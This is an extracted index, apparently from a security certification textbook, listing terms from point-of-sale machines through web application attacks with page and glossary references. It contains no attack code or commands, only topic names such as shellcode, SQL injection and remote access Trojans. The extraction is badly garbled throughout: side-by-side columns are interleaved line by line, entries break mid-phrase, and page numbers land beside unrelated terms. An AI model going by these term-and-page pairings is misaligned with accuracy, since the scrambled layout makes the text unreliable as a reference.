109–110 Pretty Good Privacy (PGP), 185
MAC filtering and MAC 287 project stakeholders, G-21,
limiting, 109 preventive security control, 426
in SMTP, 310 G-21, 9, 10, 115 proof-of-concept Bluetooth
PoS machines. see point-of-sale primary business functions worms and application
(PoS) machines (PBF), 449 exploits, 298
Post Office Protocol (POP), principals, 91, 92 proprietary information, G-21,
G-20, 216 principle of least privilege 472
Post Office Protocol v3 (POP3), (PoLP), 282 proprietary threat feeds, 235
310–311 prioritization, of remediation protect, in NIST Cybersecurity
potentially unwanted efforts, 245 Framework, 3
applications (PUAs), 372 Prisma Access, 167 protocol ID/type, 118

Index

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 I-30 | Index

provenance, G-21, 343 public-facing application reaction times, G-22, 435

provisioning, G-21, 84–85, 433 servers, 107 Read (r), in Linux, 283
creating permissions publicity impact, of incident real-time operating systems
assignment, 85 response, 332 (RTOS), G-22, 159
identity proofing, 84 publish period, of CRL, 54 examples, 159
issuing credentials, 84 PUE. see power usage hardening, 289, 290
issuing hardware and effectiveness (PUE) risks associated with, 159
software assets, 84 Puppet, 252 reconnaissance, G-22, 386
teaching policy awareness, PUPs. see potentially unwanted active, 463–464
85 programs (PUPs) passive, 464
proximity reader, G-21, 201 PuTTY SSH client, 135 Recon-ng, 236
proxy servers, G-21, 121–123 Recorded Future, 234, 236
application-aware, 121 Q record-level encryption, 62
forward, 122–123, 227 recovery, G-22, 334
QR codes. see quick response
non-transparent, 122 ease of, 111, 154
(QR) codes
rebuilding, 121 in incident response,
qualitative risk analysis, G-22,
reverse, 123, 227 334–335
442
transparent, 122–123 in NIST Cybersecurity
quantitative risk analysis, G-22,
pseudo RNG (PRNG) software, Framework, 3
441–442
55, 56 time, of incident response,
quarantine, 485
PSK. see pre-shared key (PSK) 332
Quark Matter UEFI, 377
PSUs. see power supply units validation, 176–177
questionnaires, G-22, 458
(PSUs) recovery point objective (RPO),
quick response (QR) codes, 77,
PtH attack. see pass the hash G-22, 450–451
257
(PtH) attack recovery time objective (RTO),
quizzes, in security awareness
PUAs. see potentially unwanted G-22, 449
training, 495
applications (PUAs) recruitment (hiring), 412
public (or multi-tenant) cloud, Red Teaming, 465
G-21, 142 R redundancy, G-22, 187
public (unclassified) data, 472 race condition vulnerabilities, fault tolerance, 187
public key, G-21, 41–42, 136 G-22, 220 strategies, 182–197
public key authentication, 135 radio frequency identification capacity planning,
public key cryptography (RFID), G-22, 202, 204, 300 183–184
standards (PKCS), 45, 49 cloning, 385–386 capacity planning risks,
public key infrastructure (PKI), skimming, 386 184–186
G-21, 47–59 RADIUS. see Remote clustering, 189–190
certificate authorities, Authentication Dial-In User continuity of operations,
47–48 Service (RADIUS) 182–184
certificate revocation, 53–54 range checks, 319 deception technologies,
certificate signing requests, ransomware, G-22, 176, 211, 194
51 373, 378 defense in depth, 192
cryptoprocessors, 55–57 Rapid7 InsightIDR, 281 disruption strategies,
digital certificates, 49 RAT. see remote access Trojan 194
key escrow, 57 (RAT) high availability,
key management, 55 RBAC. see role-based access 186–189
root of trust model, 49–50 control (RBAC) multi-cloud strategies,
secure enclaves, 57 RCE. see remote code 193–194
solutions, S-5 execution (RCE) platform diversity, 192
subject name attributes, RCSA. see Risk and Control power redundancy,
52–53 Self-Assessment (RCSA) 191–192
public relations, in incident RDP. see Remote Desktop resiliency, testing,
response, 330 Protocol (RDP) 195–196

Index

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 Index | I-31

solutions, S-12 remote sign-in, Windows, 89 zones, 148

vendor diversity, 192–193 remote vectors, 26 replication, 148
testing, high availability remote work virtualization, 147
and, 189 deperimeterization and, resource consumption, G-23,
Regional Internet Registries, 163–164 380
316 plans, 184 resource inaccessibility, G-23,
regional regulations and technologies and software 381
industry laws, 419 associated with, 185 resource reuse, virtualization
regional replication, 148 removable device, 26 vulnerabilities and, 213
registry settings, 275–276 removable media and cable resources/funding, G-23, 17
regular expressions (regex), training, 491 respond, in NIST Cybersecurity
319 removable media encryption, Framework, 3
regulated data, G-22, 470 287 Response Policy Zone (RPZ),
regulations and industry laws, renewable power sources, 191 314
418–420 replay attack, G-22, 400–401 response time, 111
cybersecurity regulations, replication, G-22, 148, 178 responsibility matrix, G-23,
419–420 reporting, G-22–23, 344–345 145–147
industry-specific in alerting and monitoring cloud service customer, 146
cybersecurity laws, 419 activities, 360–361 cloud service provider, 146
local or regional, 419 e-discovery suites, 345 responsible disclosure
national, 418 ethical principles, 344 programs, G-23, 240
regulatory agencies, 422 in rules of engagement, 458 responsiveness, G-23, 152
regulatory assessments, 462 security awareness training cloud automation
relying party, 78 lifecycle, 495–496 technologies, 152
remediation practices, 246–247 structures, alternative, auto-scaling, 152
compensating controls, 247 184–185 edge computing, 152
cybersecurity insurance, vulnerability, 247–248 load balancing, 152
246 reports, automated, 348 REST. see representational
exceptions and exemptions, representational state transfer state transfer (REST)
247 (REST), G-23, 96 restarts, 428–429
patching, 246 reputational threat intelligence, RESTful APIs, 96
segmentation, 246 G-23, 235 restricted activities, 428
remote access architecture, reputation-based filtering, 270 restricted data, 473
G-22, 129–130 request for change (RFC), 426 retrospective network analysis
remote access management re-scanning, for validating (RNA), 354
channel, 136 vulnerability, 247 return on investment (ROI),
remote access networking, 129 research, dark web and, 238 186
remote access Trojan (RAT), residual risk, G-23, 445 reverse proxy servers, G-23,
G-22, 373, 376 resilience, G-23, 111 123, 227
remote access VPN, 129–130, resiliency, testing, 195–196 RFC. see request for change
134 documentation, 196 (RFC)
Remote Authentication Dial-In failover tests, 195 RFC 822 email address, 53
User Service (RADIUS), G-22, parallel processing tests, RFID. see radio frequency
110, 258, 259 195 identification (RFID)
remote code execution (RCE), simulations, 195 right to be forgotten, G-23,
G-22, 211, 399 tabletop exercises, 195 476
remote desktop, 134 resilient architecture concepts, right-to-audit clause, 455
software, 185 147–148 risk, G-23, 16
Remote Desktop Protocol cloud architecture features, impact, 446
(RDP), G-22, 134 154 management, vendor
remote journaling, 178 high availability, 148 diversity and, 193
remote network vectors, 25 high availability across posture, 443

Index

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 I-32 | Index

reduction, 444 RNA. see retrospective network SAML. see security assertion
remediation, 444 analysis (RNA) markup language (SAML)
response, identifying, 446 robotics, 204 Samsung Pay, 300
sharing, 444 RoE. see rules of engagement SAN. see Storage Area Network
risk acceptance, G-23, 444–445 (RoE) (SAN); subject alternative name
risk analysis, G-23, 441 rogue access points, 391–392 (SAN)
risk analysis using words, not rogue server, 309 sanctions, 479
numbers, 442 ROI. see return on investment sandboxing, G-24, 323–324
Risk and Control Self- (ROI) sandbox execution, 380
Assessment (RCSA), 446 role-based access control sandboxed lab system, 286
risk appetite, G-23, 445, 447, (RBAC), G-24, 82–83, 282 sanitization, G-24, 179, 213
448 roles and responsibilities, in Sarbanes-Oxley Act (SOX),
risk assessment, G-23, 16, rules of engagement, 458 G-24, 252, 417, 443
440–441 root cause analysis, G-24, 335 SASE. see Secure Access Service
risk avoidance, G-23, 444 root certificate authority, G-24, Edge (SASE)
risk deterrence, G-23, 444 49 SASL. see Simple
risk exception, G-23, 444 root of trust model, 49–50 Authentication and Security
risk exemption, G-23, 445 rooting, G-24, 216 Layer (SASL)
risk identification, G-23, 440 rootkits, 373, 377 SAST. see static and dynamic
Risk Management Framework round robin scheduling, 126 application security testing
(RMF), 446 routed (layer 3) firewall, 118 (SAST)
risk management processes router firewall, G-24, 119 satellites, in GPS, 296
and concepts, G-23, 440–452 routers, 102, 253 SAW. see secure administrative
business impact analysis, routing infrastructure workstation (SAW)
448–451 considerations, 104–106 SBOM. see software bill of
heat map, 443 Internet Protocol, 104–105 materials (SBOM)
inherent risk, 442–443 virtual LANs, 105–106 SCA. see software composition
qualitative risk analysis, 442 RPO. see recovery point analysis (SCA)
quantitative risk analysis, objective (RPO) SCADA. see supervisory control
441–442 RSA. see Rivest, Shamir, and data acquisition (SCADA)
risk analysis, 441 Adelman (RSA) scalability, G-24, 111
risk assessment, 440–441 RTO. see recovery time of cloud architecture
risk identification, 440 objective (RTO) features, 154
risk management RTOS. see real-time operating data backups, 175
processes, 445–448 systems (RTOS) high availability, 187
risk management rule-based access control, power provisioning, 155
strategies, 444–445 G-24, 83 SCAP. see Security Content
solutions, S-23–24 rules of engagement (RoE), Automation Protocol (SCAP)
risk mitigation, G-23, 444 G-24, 458 SCAP Compliance Checker
risk owner, G-23, 447 (SCC), 252
risk register, G-23–24, 446 S scareware, 378
risk reporting, G-24, 448 SCC. see SCAP Compliance
SA. see security association (SA)
risk threshold, G-24, 447 Checker (SCC)
SaaS. see software as a service
risk tolerance, G-24, 246, 447 SCCM. see System Center
(SaaS)
risk transference, G-24, 112, Configuration Manager (SCCM)
SAE. see Simultaneous
444 scheduling algorithm, 126
Authentication Of Equals (SAE)
risky behaviors, recognizing, scope, of incident response,
Salesforce, 144
493–494 332
salt, G-24, 65
risky login policy, 86 screened subnet, G-24, 265
SAM. see Security Account
Rivest, Shamir, Adelman (RSA), script virus, 373
Manager (SAM)
42, 45, 49, 60, 216, 306 scripting, automation and,
SameSite attribute, 319
433–434

Index

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 Index | I-33

SD card slot. see Micro Secure Secure File Transfer Protocol security architecture
Digital (SD) card slot (SFTP), G-24–25, 135, 216, 304, mapping course content,
SDLC. see software 309 A-8–11
development life cycle (SDLC) secure hash algorithm (SHA), resilience, 171
SDN. see software defined G-25, 43, 306, 344 review, 223
networking (SDN) SHA-1, 215 security assertion markup
SD-WAN. see software-defined SHA256, 43, 44, 68, 306, language (SAML), G-25, 95
WAN 307, 393 security association (SA), 133
SEAndroid, 286 SHA384, 306 security awareness training,
search, in e-discovery, 345 SHA512, 68 491–496
secret (confidential) data, 472, secure IMAP (IMAPS), 304, hybrid/remote work
474. see also privacy data 311 training, 492
secret key, 39 secure management protocols, insider threat training, 491
Secure Access Service Edge 253 lifecycle, 494–496
(SASE), G-24, 156 secure password transmission, assessments and
secure administrative 416 quizzes, 495
workstation (SAW), 87, 126 Secure POP (POP3S), 310–311 development and
secure baseline, G-24, 252. see secure protocols, 304–305 execution of training,
also network security baselines Secure Shell (SSH), G-25, 90, 495
secure coding techniques, 135–136, 309 illustrated, 494
318–321 client authentication, incident reporting, 495
code signing, 320–321 135–136 metrics and
cookies, 319 Kerberos, 136 performance indicators,
input validation, 318–319 public key 496
static code analysis, authentication, 135 observations and
319–320 username/password, feedback, 496
secure communications, 135 phishing simulations,
129–138 commands, 136 496
Internet Key Exchange, Secure SMTP (SMTPS), 304, reporting and
133–134 309 monitoring, 495–496
internet protocol security secure transmission of training completion
tunneling, 132–133 credentials, 412 rates, 496
jump servers, 137 Secure/Multipurpose Internet operational security
out-of-band management, Mail Extensions (S/MIME), 287, training, 492
136–137 312–313 password management
remote access architecture, security training, 491
129–130 changes, 429 phishing campaigns, 493
remote desktop, 134 compliance, 479–480 policy and handbook
Secure Shell, 135–136 controls, lack of, 281 training, 491
solutions, S-9–10 in e-discovery, 345 removable media and cable
transport layer security groups, 434 training, 491
tunneling, 130–132 guards, 203 risky behaviors, recognizing,
secure configuration of key, 76 493–494
servers, 254 operations, mapping course situational awareness
secure data destruction, content, A-11–18 training, 491
179–180 requirements, in rules of social engineering training,
secure directory services, engagement, 458 492
307–308 standards, 290 security concepts
secure email transmission zero trust architectures access control, 5–6
(SMTP), 216 and, 164 authentication,
secure enclaves, G-24, Security Account Manager authorization, and
57 (SAM), 89, 394–395 accounting, 6

Index

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 I-34 | Index

identity and access business units, 11–12 in incident response, 329, 331
management, 5–6 DevSecOps, 12 intelligence fusion
CIA Triad, 2 incident response, 12 techniques, 338
gap analysis, 4–5 security operations log aggregation, 359
information security center, 11–12 packet captures, 354
(infosec), 2 information security solutions, S-19–20
mapping course content, competencies, 11 security key, G-25, 76
A-1–4 information security roles Security Knowledge
NIST Cybersecurity and responsibilities, 10–11 Framework, 318
Framework, 3 Chief Information security log, G-25, 349
non-repudiation, 2 Officer, 10 Security Onion, 266–267, 331,
security controls, 8–13 Chief Security Officer, 10 338, 353, 388
categories of, 8–9 Chief Technology security operations center
functional types of, 9–10 Officer, 10 (SOC), 11–12, 330
information security Information Systems security orchestration,
business units, 11–12 Security Officer, 11 automation and response
information security outcomes achieved by (SOAR), 329
competencies, 11 implementing, 4 security program management
information solutions, S-1–2 and oversight, mapping course
security roles and security governance content, A-18–22
responsibilities, 10–11 automation, 433–436 Security Technical
outcomes are achieved orchestration Implementation Guides
by implementing, 4 implementation, (STIGs), 252
solutions, S-1 435–436 security zones, G-25, 106–108
Security Content Automation scripting, 433–434 Security-Enhanced Linux
Protocol (SCAP), G-25, 243, 252, change management, (SELinux), G-25, 285–286
365–366 425–432 SED. see self-encrypting drive
Compliance Checker, 252 allowed and blocked (SED)
Extensible Configuration changes, 427–428 segmentation, 246, 483
Checklist Description dependencies, 429 endpoint protection,
Format, 365–366 documentation and 276–277
Open Vulnerability and version control, 430–431 logical, 104
Assessment Language, downtime, 428–430 segmentation-based
365 legacy systems and containment, 334
security controls, G-25, 8–13 applications, 430 SEH. see structured exception
actively testing, 463 programs, 425–427 handler (SEH)
bypassing, 463 restarts, 428–429 selection of effective controls,
categories of, 8–9 governance and G-25, 115
managerial, 8–9 accountability, 420–423 self-assessments, 461
operational, 8–9 legal environment, 417–420 self-encrypting drive (SED),
physical, 8–9 policies, 410–411 G-25, 61, 278
technical, 8–9 procedures, 412–414 self-signed certificate, G-25, 50
function of, 8 standards, 414–417 SELinux. see Security-Enhanced
functional types of, security identifier (SID), G-25, Linux (SELinux)
9–10 85, 92 Sender Policy Framework (SPF),
compensating, 10 security information and event G-25, 304, 311, 312
corrective, 9, 10 management (SIEM), G-25, 174, sensitive data, 473
detective, 9, 10 236, 268, 358–359 sensors, G-25, 117, 123, 205, 359
deterrent, 10 agent-based and agentless infrared sensors, 205
directive, 9 collection, 359 microwave sensors, 205
preventive, 9, 10 for automated reports, 348 pressure sensors, 205
information security endpoint logs, 351 ultrasonic sensors, 205

Index

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 Index | I-35

separation (retiring), 412 shunning, 124 smartphones and tablets

server hardware, 253–254 SID. see security identifier (SID) Assisted GPS, 296
Server Message Block (SMB), side-channel attacks, 226 Bluetooth, pairing, 298
211 sideloading, G-26, 217–218 device encryption, 294
server room, 104 SIEM. see security information as embedded system, 158
server room security, 416 and event management (SIEM) SD card slot, 294
serverless architecture, G-25, Signaling System 7 (SS7), 27 SMB. see Server Message Block
143 signature, of CRL, 54 (SMB)
serverless computing, G-25, signature-based detection, S/MIME. see Secure/
149–150 G-26, 267–268, 277, 379 Multipurpose Internet Mail
servers SIM card. see subscriber Extensions (S/MIME)
full disk encryption and, identity module (SIM) card SMiShing, G-26, 32
278 Simple Authentication and SMS. see short message service
secure configuration of, Security Layer (SASL), 307 (SMS)
254 simple bind, 307 SMTP. see secure email
server-side attack, G-25, 403 Simple Mail Transfer Protocol transmission (SMTP); Simple
server-side request forgery (SMTP), G-26, 309, 310 Mail Transfer Protocol (SMTP)
(SSRF), G-25, 402–403 Simple Network Management SMTPS. see Secure SMTP
server-side validation, 322 Protocol (SNMP), G-26, 308, (SMTPS)
service 362 snapshots, G-26, 177
assets, 174 Simple Object Access Protocol SNMP. see Simple Network
device hardening, 275 (SOAP), G-26, 95 Management Protocol (SNMP)
enumeration, in active simulations, G-26, 195, Snort, G-26, 124, 266, 267
reconnaissance, 463 336–337 SOAP. see Simple Object Access
management, 434 Simultaneous Authentication Protocol (SOAP)
service disruption, G-25, 18 Of Equals (SAE), G-26, 257, 258 SOAR. see security
service provider (SP), 94, 228 single CAs, 50 orchestration, automation and
service set identifier (SSID), single loss expectancy (SLE), response (SOAR)
G-26, 254, 391 G-26, 441 SOC. see security operations
service-level agreement (SLA), single pane of glass, 360 center (SOC)
G-25, 112, 145, 155, 457 single point of failure, G-26, social engineering, G-26, 30–35,
ServiceNow, 173 108, 436 281, 464
session affinity, G-26, 126 single sign-on (SSO), G-26, 91 brand impersonation and
session cookies, 401 authentication, 91–92 disinformation, 34
session key, 63, 394 authorization, 92–93 business email
session management, 416 single-tenant architecture, 143 compromise, 33–34
SFC tool. see System File sinkhole, G-26, 334 human vectors, 30
Checker (SFC) tool site surveys, G-26, 254–255 impersonation, 31
SFTP. see Secure File Transfer site-to-site VPN, 130, 133 pharming, 33
Protocol (SFTP) situational awareness training, phishing, 32
SHA. see secure hash algorithm 491 pretexting, 31
(SHA) skimming, G-26, 300, 386 solutions, S-3–4
shadow IT, G-26, 21 Skyhigh Security, 227 training, 492
shared responsibility model, SLA. see service-level typosquatting, 33
226 agreement (SLA) watering hole attack, 34
sheep dip, 286 Slack, 185 social media, 27, 488
shelf-life, 55 SLE. see single loss expectancy soft authentication tokens,
shellcode, G-26, 374, 397 (SLE) G-26, 77
Shellshock vulnerability, 211 smart card login, 91 software
Shodan, 236 smart cards, G-26, 76, 77 antivirus scan, 364
short message service (SMS), smart physical security, 204 asset management, 173
27, 77 smart posters, 300 assets, issuing, 84

Index

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 I-36 | Index

endpoint detection and SPAN (switched port analyzer)/ static acquisition

response, 279–280 mirror port, G-20, 117 by pulling the plug, 343
hardening techniques, SPDX (Software Package Data by shutting down the host,
288–289 Exchange), 229 343
libraries, 86 spear phishing, 33 static analysis, G-27, 233, 320
licensing, 480 Spectre vulnerability, 213 static and dynamic application
out-of-date, 233 SPF. see Sender Policy security testing (SAST), 320
patches, 429 Framework (SPF) static code analysis, 319–320
port control, 286 Splunk User Behavior Analytics, static token, 77
providers, 228 281 status codes, 405, 406
remote desktop, 185 spoof website, 32 steganography, G-27, 66
removing unnecessary, spoofing, of GPS, 296 STIGs. see Security Technical
288–289 spyware, G-27, 373 Implementation Guides (STIGs)
restriction policies, 428 SQL. see Structured Query Storage Area Network (SAN)
rings, 377 Language (SQL) replication, 178
sandboxing, 323–324 SQL injection. see Structured snapshots, 177
updates and patches, 288 Query Language injection (SQL storage modules, destruction
upgrades, 429 injection) of, 289
software as a service (SaaS), SS7. see Signaling System 7 structured cabling system,
G-27, 144 (SS7) 102–103
software bill of materials SSD. see solid state drive (SSD) structured exception handler
(SBOM), G-27, 228–229, 234 SSH. see Secure Shell (SSH) (SEH), G-27, 321
software composition analysis SSID. see service set identifier Structured Query Language
(SCA), G-27, 229, 234 (SSID) (SQL), 62
software defined networking SSL/TLS, 216 Always Encrypted feature,
(SDN), G-27, 152–153 SSO. see single sign-on (SSO) 62
software development life SSRF. see server-side request Structured Query Language
cycle (SDLC), G-27, 411 forgery (SSRF) injection (SQL injection), G-27,
Software Package Data stack overflow, 221 225–226
Exchange (SPDX), 229 staff retention initiatives, 435 Stuxnet worm, 160
software-defined WAN Stagefright vulnerability, 211 subject alternative name (SAN),
(SD-WAN), Q-27, 156 stakeholder management, 330 G-27, 52
SolarWinds attack, 222, 279 stakeholders, 426 subject name attributes, 52–53
SolarWinds Orion platform, standard configurations, G-27, subroutine, 221, 400
173, 222 436 subscriber identity module
solid state drive (SSD), 61, standard naming conventions, (SIM) card, 27
342 174–175 SubSeven RAT, 376
destruction of, 289 standard operating procedures substitution algorithms, 39
disk encryption, 277 (SOPs), 333, 427 succession planning, 184
something you are factor, 73 standardized configuration supercookies, 375
something you have factor, 73 baselines, 285 supervisory control and data
somewhere you are factor, 74 standards, G-27, 414–417 acquisition (SCADA), G-27,
SonarQube, 320 industry, 415 160–161, 289, 290
SOPs. see standard operating internal, 415–417 supplicant, G-27, 110
procedures (SOPs) solutions, S-22 supplier, 28
SOW. see statement of work STARTTLS command, 307, 310 supply chain, G-27, 28, 456
(SOW) state table, G-27, 120 analysis, 456
SOX. see Sarbanes-Oxley Act stateful inspection firewall, attack surface, 28
(SOX) G-27, 120, 121 vulnerabilities, 228–229
SP. see service provider (SP) stateless firewall, 120 dependency analysis,
spam emails, 264, 304, 311, statement of work (SOW), G-27, 229
312 457 hardware suppliers, 228

Index

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service providers, 228 TCO. see total cost of identifying, 445

software bill of ownership (TCO) protection, zero trust
materials, 228–229 TCP. see Transmission Control architectures and,
software providers, 228 Protocol (TCP) 164
Suricata, 124, 266 TDE. see transparent data scope reduction, 165
Sweet32 birthday attack, 215 encryption (TDE) verifying, 463
switches, 101, 104, 105, 106, TeamViewer, 134 threat actors, G-28, 17
253 technical debt, G-28, 436 advanced persistent threat,
switching infrastructure technical security control, 8–9 20
considerations, 102–104 technique, in TTP, 379 assessment for, 16
Symantec, 227 TEE. see trusted execution attributes of, 17
symmetric algorithms, 39–40 environment (TEE) competitors, 21
symmetric cipher, 60 telecommunications, laws and external, 17
symmetric encryption, 39–40, regulations in, 419 hacker teams, 19
60–61 telemetry, 194 hackers, 19
SYN flood attack, G-27, 387 Telnet, 253, 304 hacktivists, 20
syslog, G-27, 349 Temporal Key Integrity internal, 17, 21
system Protocol (TKIP), G-28, 256 level of sophistication/
audits, 240 temporary elevation, 87 capability, 17
authenticating, 6 temporary permissions policy, mapping course content,
availability, 187 86 A-4–8
memory acquisition, 342 Tenable Nessus, 232 motivations of, 17–19
System Center Configuration termination (firing), 412 nation-state actors, 20
Manager (SCCM), 279, 288 termination of contracts, organized crime, 21
System File Checker (SFC) tool, 480 resources/funding, 17
280 Terraform, 151 risk assessment, 16
System Monitor, G-27–28, terrorist attack, 199 solutions, S-2
364 Tesla’s Powerpack, 191 threat assessment, 16
system/process audits, G-28, test access point (TAP), G-28, unskilled attackers, 19
240 117 vulnerability assessment,
test results, 427 16
T test scripts, 196 threat feeds, G-28, 234–237
testing, in incident response, behavioral threat research,
tabletop exercise, G-28, 195,
336 235
336
tethering, G-28, 297 commercial models, 236
tablets. see smartphones and
TGS. see ticket granting service common platforms, 234
tablets
(TGS) information-sharing
tactic, in TTP, 379
TGT. see ticket granting ticket organizations, 236
tactic, technique, or procedure
(TGT) open-source intelligence,
(TTP), G-28, 235, 237, 379–380
ThinApp, 148 236–237
tags, in e-discovery, 345
third party CAs, G-28, 48, 50 purpose of, 234
TAP. see test access point (TAP)
third-party evaluations, 196 reputational threat
target of evaluation (TOE)
third-party risks, G-28, 145 intelligence, 235
compliance verification, 223
third-party threat feeds, third-party, 235–236
configuration assessment,
235–236 threat data, 235–236
222
third-party vendors, 145, threat hunting, G-28, 331,
cryptographic analysis, 223
453–454 337–338
documentation review, 222
threat, G-28, 16 advisories and bulletins,
secure code analysis, 222
assessment, 16 337–338
security testing, 222
detection, zero trust intelligence fusion and
TCG. see Trusted Computing
architectures and, 164 threat data, 338
Group (TCG)
maneuver, 338

Index

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threat vectors, 16, 23–27 TOTP. see time-based one-time Trojans, G-29, 26, 372
human vectors, 30 password (TOTP) true negatives, 362
lure-based vectors, 26–27 TP-LINK SOHO access point, true random number
message-based vectors, 27 256 generator (TRNG), 55
network vectors, 25–26 TPM. see trusted platform Trusted Computing Group
vulnerable software module (TPM) (TCG), 278
vectors, 24–25 tracking cookies, 375 trusted execution environment
3DES. see Triple DES (3DES) trade secrets, G-28, 471 (TEE), 57, 482
throughput (speed), 75 training, 337, 412 trusted platform module
ticket granting service (TGS), training topics and techniques, (TPM), G-29, 56, 62, 277
91–93, 136 490–494 TTP. see tactic, technique, or
illustrated, 93 anomalous behavior procedure (TTP)
session key, 92 recognition, 493 tunnel mode, 132
single sign-on computer-based training, tunnel/tunneling, G-29, 129–130
authentication, 91–92 490–491 internet protocol security
single sign-on gamification, 490–491 tunneling, 132–133
authorization, 92–93 phishing campaigns, 493 transport layer security
ticket, 92 Risky behaviors, tunneling, 130–132
ticket granting ticket (TGT), recognizing, 493–494 tuples, 264, 363
G-28, 91–92, 136, 394 security awareness training, I2P, 237
ticketing, 434 491–492 Twitter, 93
time stamp, 92, 93 Transmission Control Protocol 2FA. see two-factor
time-based one-time password (TCP), 102, 305 authentication (2FA)
(TOTP), 76 transparent data encryption two-factor authentication
time-based restrictions, 86 (TDE), 62 (2FA), 74
timeline, G-28, 343 transparent firewall, 119 Type I error, 74
time-of-check to time-of-use transparent modes, 119 Type II error, 74
(TOCTOU), G-28, 220 transparent proxy servers, type-safe programming
time-of-day restrictions, G-28, G-28, 122–123 languages, G-29, 221
86 Transport Layer Security (TLS), typosquatting, G-29, 33
TKIP. see Temporal Key G-28, 63, 125, 130, 305–307
Integrity Protocol (TKIP) cipher suites, 306–307 U
TLS. see Transport Layer handshake, 306, 307
UAC. see User Account Control
Security (TLS) implementing, 305–306
(UAC)
TLS VPN. see Transport Layer protocol security, 305
UAV. see unmanned aerial
Security virtual private network SSL/TLS versions, 306
vehicle (UAV)
(TLS VPN) tunneling, 130–132
UBA. see user behavior
TOCTOU (time-of-check to Transport Layer Security virtual
analytics (UBA)
time-of-use), 220 private network (TLS VPN),
UDP. see User Datagram
token-based key card lock, 201 130–132
Protocol (UDP)
tokenization, G-28, 66, 483 transport mode, 132
UEBA. see user and entity
tokens transport protocols, 102
behavior analytics (UEBA)
generation of, 76 transport/communication
UEFI. see Unified Extensible
hard authentication, 76–77 encryption, G-28, 63–64
Firmware Interface (UEFI)
soft authentication, 77 transposition algorithms, 39
ultrasonic sensors, 205
tombstone, 485 Trello, 185
unauthorized access (black
top secret (critical) data, 472 trend analysis, G-28, 268
hat), 19
TOR (The Onion Router), 147, Triple DES (3DES), 215
unauthorized servers, 309
237 Tripwire, 281
unclassified (public) data, 472
total cost of ownership (TCO), TRNG. see true random
underblocking, 270
174 number generator (TRNG)

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under-voltage events, G-29, unskilled attackers, 19 vendor assessment methods,

191 unsupported systems and 455–456
unexpected behaviors, 493, applications, 24 evidence of internal audits,
494 update repositories, 279 455–456
Unified Extensible Firmware updates, 288 independent assessments,
Interface (UEFI), 213 UPS. see uninterruptible power 456
unified threat management supply (UPS) penetration testing, 455
(UTM), G-29, 125 URL. see uniform resource right-to-audit clause, 455
uniform resource locator (URL), locator (URL) supply chain analysis, 456
G-29, 405 USB flash drives, 61, 342 vendor monitoring, 456
analysis, 405–406 full disk encryption and, vendor site visits, 456
percent encoding, 406 278 vendor diversity, 192–193
scanning, 269–270 infected with malware, 287 business resilience, 193
unintentional behaviors, User Account Control (UAC), competition, 193
494 83, 87, 377 compliance, 193
unintentional or inadvertent user accounts customization and
insider threat, G-29, 21 attribute-based access flexibility, 193
uninterruptible power supply control, 83 cybersecurity, 192
(UPS), G-29, 191, 192 attributes, 85 innovation, 193
United Kingdom, regulations group accounts, 82 risk management, 193
and laws in, 418 Linux authentication, 90 vendor management concepts,
United States, regulations and location-based policies, 86 453–459
laws in, 418 profiles, 85 legal agreements, 457–458
US Department of Defense provisioning, 84–85 solutions, S-24
(DoD), 252 restrictions, 86 vendor assessment
universal coordinated time rights and permissions, 81 methods, 455–456
(UTC), 349 security identifier, 85 vendor selection, 453–455
UNIX time-based restrictions, 86 vendor monitoring, 456
discretionary access user and entity behavior vendor selection, 453–455
control, 81 analytics (UEBA), G-29, 268, 281 conflict of interest, 454–455
syslog, 349 user and role-based training, due diligence, 453, 455
vulnerabilities, 211 489–490 statistics, 454
unknown environment user behavior analytics (UBA), third-party vendors,
penetration testing, 238, 464, 281 453–454
465 User Datagram Protocol (UDP), vendor site visits, 456
unmanned aerial vehicle (UAV), 102 verification, for validating
204 user identity verification, 416 vulnerability, 247
unsecure networks, G-29, username/password, in SSH, version control, G-29, 430–431
25–26 135 vertical privilege escalation,
Bluetooth network vectors, UTC. see universal coordinated G-29, 400
26 time (UTC) video conferencing software,
cloud access vectors, 185
26 V video surveillance, G-29,
default credentials, 26 203–204
validation, 247
direct access vectors, 25 virtual IP, clustering, 189
validity period, 54, 92
lack of availability, 25 virtual local area networks
Varonis’s blog, 418
lack of confidentiality, 25 (VLANs), G-29, 74, 105–106, 260
VBA. see Visual Basic for
lack of integrity, 25 virtual machines (VMs), 213,
Applications (VBA)
open service port, 26 323
vCard, 299
remote and wireless escape, 213
vendor, 28
vectors, 26 replication, 178
vendor assessment, 453–454
wired network vectors, 25 snapshots, 177

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Virtual Network Computing identifying, 445 vulnerability analysis and

(VNC), G-29, 134 mapping course content, remediation, 242–249
virtual phone systems, 185 A-4–8 vulnerability identification
virtual private network (VPN), near-field communication, methods, 231–241
G-29, 63, 89, 129–130, 185 300 vulnerability scanner, G-30,
client-to-site, 129, 134 vulnerability analysis and 232, 364
encryption techniques, 287 remediation, 242–249 vulnerability scanning, 231–234,
HTML5, 134 classification, 245 352
remote access, 129–130, common vulnerabilities and application vulnerability
134 exposures, 242–243 scanning, 233
site-to-site, 130, 133 environmental variables, credentialed scan, 233
transport layer security, 245–246 network vulnerability
130–132, 305 exposure factor, 245 scanner, 232
virtual wire, 119 false positives, false non-credentialed scan,
virtualization, G-30, 147, 148, negatives, and log review, 232–233
213 243–244 package monitoring, 234
viruses, G-30, 277, 372, 373 impacts, 245 threat feeds, 234–237
vishing, G-30, 32 mitigation techniques, 242, vulnerable software vectors,
visitor management, 417 243 24–25
Visual Basic for Applications prioritization, 245 client-based versus
(VBA), 373 remediation practices, agentless scanning, 25
visualizations, G-30, 348 246–247 unsupported systems and
VLANs. see virtual local area reporting, 247–248 applications, 24
networks (VLANs) solutions, S-14
VMs. see virtual machines validation, 247 W
(VMs) vulnerability assessment, 16
WAF. see web application
VMware, 148 vulnerability feed, G-30,
firewall (WAF)
AirWatch, 293 242–243
walkthroughs, 336
Cloudburst vulnerability in, vulnerability identification
wallet apps, 300
213 methods, 231–241
WannaCry ransomware, 211,
ESX Server, 213 auditing, 240
378
ESXi, 252 bug bounties, 239–240
WANs. see wide area networks
vSphere, 177 deep and dark web,
(WANs)
Workspace ONE, 173 237–238
WAP placement. see wireless
VNC. see Virtual Network penetration testing,
access point (WAP)
Computing (VNC) 238–239
warm site, G-30, 188
Voice over Internet Protocol solutions, S-14
watering hole attack, G-30, 34,
(VoIP), 106, 216 threat feeds, 234–237
211
VoIP. see Voice over Internet vulnerability scanning,
Wazuh SIEM dashboard, 358
Protocol (VoIP) 231–234
weak configuration, 282
Volatility framework, 342 vulnerability management
weaponization, 386
volume encryption, 61 application vulnerabilities,
web application attacks,
